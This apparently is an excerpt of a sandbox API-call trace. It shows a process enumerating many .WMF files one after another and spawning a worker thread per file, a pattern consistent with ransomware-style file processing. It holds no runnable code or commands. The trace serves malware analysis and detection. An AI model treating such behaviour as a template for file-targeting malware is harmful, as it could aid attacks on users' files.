	[0282.677] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7bfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x281c
	[0282.678] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.679] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY01006_.WMF", cAlternateFileName="")) returned 1
	[0282.679] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7f690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2820
	[0282.682] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.682] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x865cd000, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x865cd000, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x2734, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY01252_.WMF", cAlternateFileName="")) returned 1
	[0282.683] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc82d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2824
	[0282.936] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.937] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x852ba300, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x852ba300, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY01253_.WMF", cAlternateFileName="")) returned 1
	[0282.937] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2828
	[0282.939] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.939] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf461c100, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf461c100, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY01462_.WMF", cAlternateFileName="")) returned 1
	[0282.939] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x282c
	[0282.941] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.942] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6e15600, ftCreationTime.dwHighDateTime=0x1bd4bf8, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6e15600, ftLastWriteTime.dwHighDateTime=0x1bd4bf8, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY01491_.WMF", cAlternateFileName="")) returned 1
	[0282.942] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2830
	[0282.944] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.945] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45a48d00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45a48d00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x13c4, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY01563_.WMF", cAlternateFileName="")) returned 1
	[0282.945] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2834
	[0282.947] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.947] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f39c000, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f39c000, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY01572_.WMF", cAlternateFileName="")) returned 1
	[0282.947] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2838
	[0282.949] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.950] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda9a9b00, ftCreationTime.dwHighDateTime=0x1bd4c4d, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xda9a9b00, ftLastWriteTime.dwHighDateTime=0x1bd4c4d, nFileSizeHigh=0x0, nFileSizeLow=0x338e, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY01590_.WMF", cAlternateFileName="")) returned 1
	[0282.950] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x283c
	[0282.952] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.954] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8b6, dwReserved0=0x72, dwReserved1=0x0, cFileName="TAIL.WMF", cAlternateFileName="")) returned 1
	[0282.954] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2840
	[0282.956] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.957] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9583f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9583f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0xbde2, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00011_.WMF", cAlternateFileName="")) returned 1
	[0282.957] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2844
	[0282.959] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.959] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d5e, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00014_.WMF", cAlternateFileName="")) returned 1
	[0282.959] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2848
	[0282.962] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.962] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x243c, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00018_.WMF", cAlternateFileName="")) returned 1
	[0282.962] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284c
	[0282.964] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.965] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x175a, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00095_.WMF", cAlternateFileName="")) returned 1
	[0282.965] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2850
	[0282.967] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.967] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53c9af00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53c9af00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1c12, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00211_.WMF", cAlternateFileName="")) returned 1
	[0282.968] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2854
	[0283.130] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.131] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1b4a700, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd1b4a700, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1224, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00217_.WMF", cAlternateFileName="")) returned 1
	[0283.131] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2858
	[0283.134] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.134] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851c9c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851c9c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x1bc0, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00218_.WMF", cAlternateFileName="")) returned 1
	[0283.135] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.135] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x285c
	[0283.136] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.137] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3399f000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3399f000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00231_.WMF", cAlternateFileName="")) returned 1
	[0283.137] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.138] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2860
	[0283.139] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.140] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65787a00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65787a00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0xc68, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00234_.WMF", cAlternateFileName="")) returned 1
	[0283.140] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.141] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2864
	[0283.143] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.144] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa3d200, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa3d200, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0xf8c, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00241_.WMF", cAlternateFileName="")) returned 1
	[0283.144] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc63f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2868
	[0283.146] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.146] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e038d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e038d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00246_.WMF", cAlternateFileName="")) returned 1
	[0283.147] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.147] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x286c
	[0283.148] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.149] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cd26000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd26000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x15bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00253_.WMF", cAlternateFileName="")) returned 1
	[0283.149] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.150] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6e430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2870
	[0283.151] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.151] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64d4200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64d4200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1da8, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00255_.WMF", cAlternateFileName="")) returned 1
	[0283.151] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.152] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc86450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2874
	[0283.154] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.154] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84184a00, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84184a00, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x7dc, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00330_.WMF", cAlternateFileName="")) returned 1
	[0283.154] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc89b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2878
	[0283.156] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.157] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf72, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00411_.WMF", cAlternateFileName="")) returned 1
	[0283.157] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.157] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc8d210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x287c
	[0283.159] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.159] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e9e8900, ftCreationTime.dwHighDateTime=0x1bd4bd7, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e9e8900, ftLastWriteTime.dwHighDateTime=0x1bd4bd7, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN00687_.WMF", cAlternateFileName="")) returned 1
	[0283.160] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.160] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc908f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2880
	[0283.161] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.162] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd723f700, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd723f700, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN01164_.WMF", cAlternateFileName="")) returned 1
	[0283.162] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc93fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2884
	[0283.164] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
